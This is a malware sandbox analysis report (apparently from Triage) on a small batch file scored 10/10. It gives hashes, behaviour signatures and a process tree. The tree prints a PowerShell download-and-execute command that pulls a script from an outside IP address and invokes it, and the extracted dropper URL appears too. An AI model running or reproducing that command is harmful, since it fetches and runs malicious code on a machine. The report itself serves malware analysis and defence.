205f308559944742c73835ecd74a524acfdb102c9fa1ff5635416d257c7493aa | Triage

Analysis

max time kernel
104s
max time network
108s
platform
windows10_x64
resource
win10v200217
submitted
16-03-2020 15:10

Sharing

Report Analysis Logs

General

Target

bsJBkqPK.bat
Size

193B
MD5

99929ffc8e13387f5a71dd140dc6450b
SHA1

1bdbc579995fbb2a567d20294cc6004c7d4b8419
SHA256

205f308559944742c73835ecd74a524acfdb102c9fa1ff5635416d257c7493aa
SHA512

6c686c8b1d6ad362012f9dc2c35947e0f856d4e177c6d1403d4b47d0f48c0a5c1c4a96a69621301b7d2daf7706872dc83d53daa2edf1842972834bfdeb672602

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/bsJBkqPK

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2604 WerFault.exe
Token: SeBackupPrivilege 2604 WerFault.exe
Token: SeDebugPrivilege 2604 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2604 3604 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bsJBkqPK.bat"
1⤵
PID:4000

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/bsJBkqPK');Invoke-IYPAVFFMNH;Start-Sleep -s 10000"
2⤵
PID:3604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3604 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:2604

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2604-0-0x00000000047B0000-0x00000000047B1000-memory.dmp

Filesize
4KB

Download
memory/2604-1-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

Filesize
4KB

Download